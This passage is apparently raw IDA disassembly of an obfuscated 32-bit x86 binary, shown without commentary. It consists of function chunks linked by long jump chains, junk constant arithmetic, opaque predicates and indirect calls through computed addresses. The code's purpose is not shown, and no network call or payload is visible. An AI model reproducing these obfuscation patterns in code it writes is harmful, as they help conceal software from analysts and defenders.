--------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100142E8 loc_1001B540: ; CODE XREF: sub_100142E8:loc_1001422Fj jz loc_1001372F jmp loc_1001A6E1 ; END OF FUNCTION CHUNK FOR sub_100142E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D04 loc_1001B54B: ; CODE XREF: sub_10016D04+3210j test ebp, edi jmp loc_10015F08 ; END OF FUNCTION CHUNK FOR sub_10016D04 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001B552: ; CODE XREF: sub_10013389+19Ej pop ecx mov esi, [edi] shr esi, 0Bh loc_1001B558: ; CODE XREF: sub_1001A533:loc_1001A5DDj mov eax, [ebp-4] call sub_1001A8DD loc_1001B560: ; CODE XREF: sub_10015C77+826j jmp loc_1001D761 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018E79 loc_1001B565: ; CODE XREF: sub_10018E79-996j jp loc_1001AF1A sbb eax, 0C7AF9ED9h pop ebp or edi, 6E079126h test ebx, 7636E1Dh jmp loc_10016105 ; END OF FUNCTION CHUNK FOR sub_10018E79 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013310 loc_1001B583: ; CODE XREF: sub_10013310+1989j mov ebx, esi pop esi add ebx, 0DC43DB52h or ebx, 3F2AC1A4h xor ebx, 9CF6A74Fh add ebx, 0ACA8478Eh jmp loc_1001B870 ; END OF FUNCTION CHUNK FOR sub_10013310 ; =============== S U B R O U T I N E ======================================= sub_1001B5A3 proc near ; CODE XREF: an.kk9rg:10014A18j ; sub_10015995+2674p arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 100131B9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100132F1 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 1001334E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001420B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 100151C3 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 100157E4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10015F94 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 10015FCB SIZE 0000000D BYTES ; FUNCTION CHUNK AT 10016F65 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 100173C7 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 10017B13 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 10018803 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 10018AF6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100192E6 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001993E SIZE 00000002 BYTES ; FUNCTION CHUNK AT 1001A38C SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001ADF1 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 1001B2BF SIZE 0000000D BYTES ; FUNCTION CHUNK AT 1001C491 SIZE 00000005 BYTES xchg ecx, [esp-8+arg_4] pop ecx jz loc_1001A5AA push ebp mov eax, [ebp-20h] call sub_1001555F loc_1001B5B6: ; CODE XREF: an.kk9rg:1001AE29j jmp loc_10018803 sub_1001B5A3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_1001B5BB: ; CODE XREF: sub_10015B5D+3CB1j jmp loc_1001D2F4 ; END OF FUNCTION CHUNK FOR sub_10015B5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016734 loc_1001B5C0: ; CODE XREF: sub_10016734+6j sub al, 99h mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_10017C91 jmp loc_10014806 ; END OF FUNCTION CHUNK FOR sub_10016734 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_155. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- add edi, 1F0986D8h ror edx, 13h jmp sub_100198E6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014F93 loc_1001B5E3: ; CODE XREF: sub_10014F93:loc_1001B81Ej add eax, 58300B7Dh mov eax, [eax] xchg eax, [esp+8+var_8] call eax push ebx mov ebx, edi jmp loc_10017EE8 ; END OF FUNCTION CHUNK FOR sub_10014F93 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001537B loc_1001B5F8: ; CODE XREF: sub_1001537B+600Bj jl loc_1001797C loc_1001B5FE: ; CODE XREF: sub_1001537B:loc_100152FEj mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_100155C7 jmp loc_1001CE06 ; END OF FUNCTION CHUNK FOR sub_1001537B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_1001B60F: ; CODE XREF: sub_10016D66:loc_10013619j sub esi, ds:100000CBh cmp esi, 0C59ED7EEh jmp loc_10017982 ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014189 loc_1001B620: ; CODE XREF: sub_10014189:loc_1001CB8Dj xor eax, 5BDA7D1Ch add eax, 0D521BCDFh xor eax, 833BE26Dh add eax, 7B8D781Eh mov eax, [eax] loc_1001B63A: ; CODE XREF: sub_10019595-202j or eax, eax jnz loc_1001D6CF jmp loc_100160BB ; END OF FUNCTION CHUNK FOR sub_10014189 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100194EA loc_1001B647: ; CODE XREF: sub_100194EA-263Ej cmp byte ptr [eax], 2Eh push offset loc_100199DD jmp loc_100142AE ; END OF FUNCTION CHUNK FOR sub_100194EA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001BC80 loc_1001B654: ; CODE XREF: sub_1001BC80:loc_1001DD57j popf mov [ebp+0], ebx or ebx, 6E4BEB02h not esi jmp loc_100176A0 ; END OF FUNCTION CHUNK FOR sub_1001BC80 ; --------------------------------------------------------------------------- cdq rol eax, 17h push 92725423h jmp loc_10019B94 ; --------------------------------------------------------------------------- popf jmp sub_100183B7 ; --------------------------------------------------------------------------- ror ecx, 0Fh jmp sub_10018066 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015086 loc_1001B681: ; CODE XREF: sub_10015086-A0j jle loc_1001820A cmp eax, 489A3123h jmp loc_1001699B ; END OF FUNCTION CHUNK FOR sub_10015086 ; =============== S U B R O U T I N E ======================================= sub_1001B692 proc near ; CODE XREF: an.kk9rg:1001336Cp ; an.kk9rg:1001A08Fj xchg eax, [esp+0] loc_1001B695: ; CODE XREF: an.kk9rg:loc_1001987Aj pop eax push 1BAE40FDh pop ecx or ecx, 60FF0B90h and ecx, 19743895h sub ecx, 40F1FC61h sub_1001B692 endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_1001B6AE: ; CODE XREF: sub_10016D66:loc_1001B104j jmp loc_10019604 ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- loc_1001B6B3: ; CODE XREF: an.kk9rg:loc_1001AFF4j jnz loc_1001A2BB ; START OF FUNCTION CHUNK FOR sub_10015BFC loc_1001B6B9: ; CODE XREF: sub_10015BFC+4D4Bj jmp loc_1001A4FB ; END OF FUNCTION CHUNK FOR sub_10015BFC ; --------------------------------------------------------------------------- shl edi, 0Fh sub esi, ebp jmp loc_1001A2B5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013999 loc_1001B6C8: ; CODE XREF: sub_10013999:loc_10019A90j or eax, eax jnz loc_100159C0 jmp loc_1001CD57 ; END OF FUNCTION CHUNK FOR sub_10013999 ; --------------------------------------------------------------------------- loc_1001B6D5: ; DATA XREF: sub_1001D5AF:loc_10015499o push 3AC6BE9Ch ; START OF FUNCTION CHUNK FOR sub_1001A606 loc_1001B6DA: ; CODE XREF: sub_1001A606:loc_10015B92j pop ecx loc_1001B6DB: ; CODE XREF: sub_1001456F+68FBj rol ecx, 1Fh test ecx, 100h jmp loc_10015B66 ; END OF FUNCTION CHUNK FOR sub_1001A606 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_1001B6E9: ; CODE XREF: sub_10019C9D+1Bj ; sub_10019409:loc_1001D9FDj cmp edx, 7C61090Eh jz loc_1001C5F4 loc_1001B6F5: ; CODE XREF: sub_10019409-2B63j ; sub_10019409-2B57j ... jo loc_1001CEC2 ; END OF FUNCTION CHUNK FOR sub_10019409 ; START OF FUNCTION CHUNK FOR sub_1001564A loc_1001B6FB: ; CODE XREF: sub_1001564A:loc_10016227j or eax, eax jz loc_1001C5F2 cmp eax, 0FFFFFFFFh jz loc_1001C5F2 mov eax, [eax] jmp loc_10018E03 ; END OF FUNCTION CHUNK FOR sub_1001564A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015086 loc_1001B713: ; CODE XREF: sub_10015086:loc_10015DFDj add edx, 0ACEED538h xchg edx, [esp-4+arg_0] jmp loc_100137F6 ; END OF FUNCTION CHUNK FOR sub_10015086 ; --------------------------------------------------------------------------- db 0B6h, 3Eh, 3Ch dword_1001B724 dd 0 ; sub_10015469+480w ... dword_1001B728 dd 0 ; sub_10016B92:loc_100183A6r ... dword_1001B72C dd 80FE827Ch ; sub_1001AD24+8w ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C535 loc_1001B730: ; CODE XREF: sub_1001C535-23BBj jmp loc_10017C2E ; END OF FUNCTION CHUNK FOR sub_1001C535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016573 loc_1001B735: ; CODE XREF: sub_10016573-2E4Fj jmp nullsub_80 ; END OF FUNCTION CHUNK FOR sub_10016573 ; --------------------------------------------------------------------------- dw 0D90Bh dd 834CB97Ch dword_1001B740 dd 5A0F9003h ; sub_10015E0D+7290r ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001AB4F loc_1001B744: ; CODE XREF: sub_1001AB4F+7j jmp loc_1001B9CA ; END OF FUNCTION CHUNK FOR sub_1001AB4F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017BF9 loc_1001B749: ; CODE XREF: sub_10017BF9+Fj jmp loc_10014C67 ; END OF FUNCTION CHUNK FOR sub_10017BF9 ; --------------------------------------------------------------------------- dw 0EACEh dword_1001B750 dd 0CF7C80B4h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017BF9 loc_1001B754: ; CODE XREF: sub_10017BF9:loc_1001A769j add eax, ebp add eax, 0BA96B668h mov eax, [eax] cmp byte ptr [eax], 0F1h jnz loc_1001DF1C jmp loc_10017E9E ; END OF FUNCTION CHUNK FOR sub_10017BF9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100142E8 loc_1001B76C: ; CODE XREF: sub_100142E8+4E76j and edx, 0FAE622BFh jmp loc_10014448 ; END OF FUNCTION CHUNK FOR sub_100142E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C185 loc_1001B777: ; CODE XREF: sub_1001C185-109Fj pushf jno loc_10018DB9 jmp loc_1001754F ; END OF FUNCTION CHUNK FOR sub_1001C185 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001677A loc_1001B783: ; CODE XREF: sub_1001677A+102Cj sub al, 99h call sub_1001CA76 loc_1001B78A: ; CODE XREF: an.kk9rg:100187FEj push ecx pushf push 932273F1h pop ecx rol ecx, 1Ah add ecx, 49B4E13Dh push offset sub_1001CCDE jmp nullsub_82 ; END OF FUNCTION CHUNK FOR sub_1001677A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100173FA loc_1001B7A5: ; CODE XREF: sub_100173FA:loc_1001D1A7j xchg esi, [esp+4+var_4] mov ebp, esp push ecx push offset sub_10016451 jmp nullsub_140 ; END OF FUNCTION CHUNK FOR sub_100173FA ; --------------------------------------------------------------------------- push 1694010h jle loc_10015CFD jmp sub_100145ED ; --------------------------------------------------------------------------- loc_1001B7C5: ; DATA XREF: sub_100194EA-1B55o call sub_100174F4 ; START OF FUNCTION CHUNK FOR sub_10018C4D loc_1001B7CA: ; CODE XREF: sub_10018C4D-3826j ; sub_10018C61-1BBDj ... mov eax, [ebp-0Ch] mov esp, ebp push offset loc_100174ED jmp loc_1001C47A ; END OF FUNCTION CHUNK FOR sub_10018C4D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ABFD loc_1001B7D9: ; CODE XREF: sub_1001ABFD+2519j jz loc_1001D0ED jmp loc_10014600 ; END OF FUNCTION CHUNK FOR sub_1001ABFD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_1001B7E4: ; CODE XREF: sub_100136D7+2744j jl loc_1001A1BB jg loc_10018851 jno loc_100159D8 loc_1001B7F6: ; CODE XREF: an.kk9rg:100193E1j and esi, 0CF62EB83h jmp loc_1001D595 ; END OF FUNCTION CHUNK FOR sub_100136D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016167 loc_1001B801: ; CODE XREF: sub_10016167+688Cj push 0E7610B6Ch pop ebx xor ebx, 0AB340064h sub ebx, ds:100000C5h jnz loc_10019DF8 loc_1001B819: ; CODE XREF: sub_10019409:loc_100154DEj ; an.kk9rg:1001A96Ej jmp loc_1001A466 ; END OF FUNCTION CHUNK FOR sub_10016167 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014F93 loc_1001B81E: ; CODE XREF: sub_10014F93+4832j jmp loc_1001B5E3 ; END OF FUNCTION CHUNK FOR sub_10014F93 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D951 loc_1001B823: ; CODE XREF: sub_1001D951-728Ej jmp loc_100166D2 ; END OF FUNCTION CHUNK FOR sub_1001D951 ; --------------------------------------------------------------------------- pushf jmp loc_100189AB ; --------------------------------------------------------------------------- loc_1001B82E: ; CODE XREF: an.kk9rg:1001CA71j jg loc_10019254 ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_1001B834: ; CODE XREF: sub_1001A97E:loc_1001CDADj add edi, 0DFB8DF9h push offset loc_100197CA jmp loc_10018D9E ; END OF FUNCTION CHUNK FOR sub_1001A97E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016734 loc_1001B844: ; CODE XREF: sub_10016734+1BF0j jnp loc_10016003 loc_1001B84A: ; CODE XREF: sub_10016734:loc_10014806j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_10017C96 jmp loc_100130A8 ; END OF FUNCTION CHUNK FOR sub_10016734 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001B85B: ; CODE XREF: sub_10013389:loc_1001356Ej push edx push 0F5BDA606h pop edx rol edx, 2 test edx, 40000h jmp loc_10016388 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013310 loc_1001B870: ; CODE XREF: sub_10013310+828Ej xchg ebx, [esp+1Ch+var_1C] jmp sub_10019030 ; END OF FUNCTION CHUNK FOR sub_10013310 ; --------------------------------------------------------------------------- lea eax, [ebp-14h] push eax push eax push 335E8D90h pop eax and eax, 50053BCCh push offset loc_1001A8C1 jmp loc_10016D20 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017CF8 loc_1001B893: ; CODE XREF: sub_10017CF8:loc_1001CFA1j jz loc_1001754F jmp loc_10014E03 ; END OF FUNCTION CHUNK FOR sub_10017CF8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015086 loc_1001B89E: ; CODE XREF: sub_10015086:loc_100196F8j jz loc_100169A1 jmp loc_10014FE0 ; END OF FUNCTION CHUNK FOR sub_10015086 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100194EA loc_1001B8A9: ; CODE XREF: sub_1001AA84:loc_100151F3j ; sub_100194EA:loc_1001A8D6j mov eax, [ebp-1Ch] cmp byte ptr [eax], 0 jnz loc_10018F65 loc_1001B8B5: ; CODE XREF: sub_1001B319-261Ej jno loc_1001A41E lea eax, [ebp-125h] push eax call sub_10016FA0 ; END OF FUNCTION CHUNK FOR sub_100194EA ; START OF FUNCTION CHUNK FOR sub_10019A95 loc_1001B8C7: ; CODE XREF: sub_10019A95+4j jmp loc_1001C42B ; END OF FUNCTION CHUNK FOR sub_10019A95 ; --------------------------------------------------------------------------- sbb edi, ebx jmp sub_1001AC73 ; =============== S U B R O U T I N E ======================================= sub_1001B8D3 proc near ; CODE XREF: sub_1001C535:loc_10014345p ; an.kk9rg:1001518Bj arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 10016A98 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 1001760B SIZE 00000016 BYTES ; FUNCTION CHUNK AT 10019446 SIZE 00000022 BYTES ; FUNCTION CHUNK AT 1001AC17 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001AD10 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B20D SIZE 00000002 BYTES ; FUNCTION CHUNK AT 1001D79D SIZE 00000011 BYTES ; FUNCTION CHUNK AT 1001DF33 SIZE 00000008 BYTES xchg ebx, [esp+0] pop ebx loc_1001B8D7: ; CODE XREF: sub_1001C535:loc_1001433Fj jmp loc_10019446 sub_1001B8D3 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C535 loc_1001B8DC: ; CODE XREF: sub_1001C535-5F8Ej ; sub_10019473+157Cj pop ecx xchg ecx, [esp-4+arg_0] mov ebp, ecx pop ecx jmp loc_10013942 ; END OF FUNCTION CHUNK FOR sub_1001C535 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_143. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001BB72 loc_1001B8E9: ; CODE XREF: sub_1001BB72-2344j jmp nullsub_209 ; END OF FUNCTION CHUNK FOR sub_1001BB72 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A54C loc_1001B8EE: ; CODE XREF: sub_1001A54C:loc_100165D1j add ebx, ebp add ebx, 13C8554Ch mov [ebx], eax pop ebx jmp loc_10015E52 ; END OF FUNCTION CHUNK FOR sub_1001A54C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015988 loc_1001B8FE: ; CODE XREF: sub_10015988+2CF7j jz loc_10019C7A jmp loc_1001A156 ; END OF FUNCTION CHUNK FOR sub_10015988 ; --------------------------------------------------------------------------- loc_1001B909: ; CODE XREF: an.kk9rg:1001588Aj shr ebp, 19h mov ebx, eax jmp loc_1001B00C ; =============== S U B R O U T I N E ======================================= sub_1001B913 proc near ; CODE XREF: sub_10018066:loc_10013A3Ep ; an.kk9rg:10015F8Ap var_4 = dword ptr -4 ; FUNCTION CHUNK AT 1001A00E SIZE 00000016 BYTES jno sub_10015E0D push ecx jmp loc_1001A00E sub_1001B913 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001504E loc_1001B91F: ; CODE XREF: sub_1001504E:loc_10018378j jnz loc_10014FFD jmp loc_10018FA6 ; END OF FUNCTION CHUNK FOR sub_1001504E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019E2E loc_1001B92A: ; CODE XREF: sub_10019E2E+2A55j jnz loc_10019C04 jmp loc_1001D7B4 ; END OF FUNCTION CHUNK FOR sub_10019E2E ; =============== S U B R O U T I N E ======================================= sub_1001B935 proc near ; CODE XREF: sub_100142E8:loc_10018830p ; an.kk9rg:1001A8D0j ; FUNCTION CHUNK AT 10014724 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx mov ds:dword_1001B728, eax jmp loc_10014724 sub_1001B935 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_1001B943 proc near ; CODE XREF: sub_10018CA1j ; FUNCTION CHUNK AT 1001669F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C5D8 SIZE 0000001A BYTES push ebp mov ebp, esp jmp loc_1001C5D8 sub_1001B943 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014CDF loc_1001B94B: ; CODE XREF: sub_10014CDF+Ej jz loc_10015148 jmp loc_1001B24C ; END OF FUNCTION CHUNK FOR sub_10014CDF ; =============== S U B R O U T I N E ======================================= sub_1001B956 proc near ; CODE XREF: sub_100193F2:loc_1001AD4Bp ; sub_10017A58:loc_1001DC6Bj var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 1001AB1F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001AF78 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 1001DC17 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 1001DD75 SIZE 0000000E BYTES xchg ebx, [esp+0] pop ebx xchg eax, [esp-4+arg_0] push 0 push ecx push 798CB06h jmp loc_1001DC17 sub_1001B956 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_203. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- or esi, edi jmp sub_1001A533 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_84. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_1001B973: ; CODE XREF: sub_10015B5D+7D21j jmp loc_1001BA12 ; END OF FUNCTION CHUNK FOR sub_10015B5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018A31 loc_1001B978: ; CODE XREF: sub_10018A31+10j jmp loc_10017EA3 ; END OF FUNCTION CHUNK FOR sub_10018A31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C535 loc_1001B97D: ; CODE XREF: sub_1001C535-5F88j jmp loc_10019E9B ; END OF FUNCTION CHUNK FOR sub_1001C535 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_1001B982 proc near ; CODE XREF: sub_1001C529:loc_1001C91Cp ; sub_1001C529+111Bp ; FUNCTION CHUNK AT 1001A1D4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001B425 SIZE 00000003 BYTES push ebp mov ebp, esp push ecx push edi push 43719DC2h pop edi and edi, 46DE7A81h jmp loc_1001A1D4 sub_1001B982 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B4CC loc_1001B998: ; CODE XREF: sub_1001B4CC:loc_10018022j xchg esi, [esp+8+var_8] mov ecx, esi pop esi pushf push 0EC466B74h pop eax or eax, 83496B20h sub eax, 6439F452h jmp loc_100153EF ; END OF FUNCTION CHUNK FOR sub_1001B4CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_1001B9B6: ; CODE XREF: sub_10015B5D:loc_1001AE2Fj sub eax, [ebp-4] mov [ebp-4], eax jmp loc_10016F7A ; END OF FUNCTION CHUNK FOR sub_10015B5D ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_1001B9C1 proc near ; CODE XREF: sub_100193F2-ACFp ; sub_100193F2:loc_1001B441p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10018618 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001D4B2 SIZE 0000000A BYTES push ebp mov ebp, esp add esp, 0FFFFFFF8h mov [ebp+var_4], eax loc_1001B9CA: ; CODE XREF: sub_1001AB4F:loc_1001B744j jnb loc_10016CAC jmp loc_10018618 sub_1001B9C1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001B9D5: ; CODE XREF: sub_10013389:loc_10017FADj call sub_1001534D push eax ror eax, 17h mov ds:dword_10018614, eax retn ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100153B8 loc_1001B9E5: ; CODE XREF: sub_100153B8+8931j jmp sub_10017803 ; END OF FUNCTION CHUNK FOR sub_100153B8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001DBEB loc_1001B9EA: ; CODE XREF: an.kk9rg:loc_10019C15j ; sub_1001DBEB+1j jmp loc_100176D0 ; END OF FUNCTION CHUNK FOR sub_1001DBEB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013688 loc_1001B9EF: ; CODE XREF: sub_10013688+9697j jmp nullsub_127 ; END OF FUNCTION CHUNK FOR sub_10013688 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018C4D loc_1001B9F4: ; CODE XREF: sub_10018C4D+4055j jmp loc_10015420 ; END OF FUNCTION CHUNK FOR sub_10018C4D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018ABA loc_1001B9F9: ; CODE XREF: sub_10018ABA+13j jmp loc_10014306 ; END OF FUNCTION CHUNK FOR sub_10018ABA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ABFD loc_1001B9FE: ; CODE XREF: sub_1001ABFD-6390j jmp loc_10014120 ; END OF FUNCTION CHUNK FOR sub_1001ABFD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016451 loc_1001BA03: ; CODE XREF: sub_10017394-2A17j ; sub_10016451+Bj rol eax, 17h jmp loc_10014B7B ; END OF FUNCTION CHUNK FOR sub_10016451 ; --------------------------------------------------------------------------- test ebx, edx jmp loc_1001B2DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_1001BA12: ; CODE XREF: sub_10015B5D:loc_1001B973j mov edx, [ebp-20h] movzx edx, byte ptr [edx] or eax, edx ; END OF FUNCTION CHUNK FOR sub_10015B5D ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001BA1A: ; CODE XREF: sub_10013389:loc_100175AEj mov [ebp-1Ch], eax push offset sub_1001D53A jmp nullsub_85 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D392 loc_1001BA27: ; CODE XREF: sub_1001D392:loc_1001963Ej push 0A0B4501h xchg esi, [esp+8+var_8] mov edx, esi pop esi add edx, 0EA00EEBh and edx, 5B73C46Eh or edx, 0C909E1A9h cmp edx, 2F918DAh jmp loc_1001394C ; END OF FUNCTION CHUNK FOR sub_1001D392 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019409 loc_1001BA4F: ; CODE XREF: sub_10019409+AE6j or ecx, ebp jmp loc_1001416A ; END OF FUNCTION CHUNK FOR sub_10019409 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100193B1 loc_1001BA56: ; CODE XREF: sub_100193B1-2617j add ecx, 7FF072Dh xchg ecx, [esp+8+var_8] jmp sub_1001677A ; END OF FUNCTION CHUNK FOR sub_100193B1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018AB1 loc_1001BA64: ; CODE XREF: sub_10018AB1:loc_10017077j mov eax, ds:dword_1001BC98 or eax, eax jnz loc_1001A5FD jmp loc_1001BBEB ; END OF FUNCTION CHUNK FOR sub_10018AB1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015712 loc_1001BA77: ; CODE XREF: sub_10015712:loc_10017B8Dj mov edx, esp push ecx mov ecx, edx xchg ecx, [esp+10h+var_10] ; END OF FUNCTION CHUNK FOR sub_10015712 ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_1001BA7F: ; CODE XREF: sub_1001A97E:loc_1001D684j push 0 push ecx jmp loc_1001C48C ; END OF FUNCTION CHUNK FOR sub_1001A97E ; --------------------------------------------------------------------------- and ebp, 9F7B952Ch jmp sub_10019E17 ; --------------------------------------------------------------------------- loc_1001BA92: ; CODE XREF: an.kk9rg:1001BB0Ej jl loc_10014F0D jnp loc_10015B3B mov edi, 0B735296Bh jmp loc_1001C129 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001893F loc_1001BAA8: ; CODE XREF: sub_1001893F:loc_1001757Ej add edx, 1209F1ADh mov edx, [edx] imul byte ptr [edx] cmp al, 0A4h jmp loc_10013614 ; END OF FUNCTION CHUNK FOR sub_1001893F ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_23. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014C0D loc_1001BABA: ; CODE XREF: sub_10014C0D+134Cj jmp nullsub_87 ; END OF FUNCTION CHUNK FOR sub_10014C0D ; =============== S U B R O U T I N E ======================================= sub_1001BABF proc near ; CODE XREF: an.kk9rg:10014E8Bj ; sub_1001D190+12p xchg ebx, [esp+0] pop ebx lea eax, sub_1001725E call sub_100141B5 sub_1001BABF endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_1001C2D8 loc_1001BACE: ; CODE XREF: sub_1001C2D8-645Ej jmp loc_10018578 ; END OF FUNCTION CHUNK FOR sub_1001C2D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001664C loc_1001BAD3: ; CODE XREF: sub_1001664C+12j jnz loc_100158F0 call sub_100180C2 loc_1001BADE: ; CODE XREF: an.kk9rg:10016147j mov edx, 0B9726E5Ah call sub_1001534D push eax jmp loc_10016F99 ; END OF FUNCTION CHUNK FOR sub_1001664C 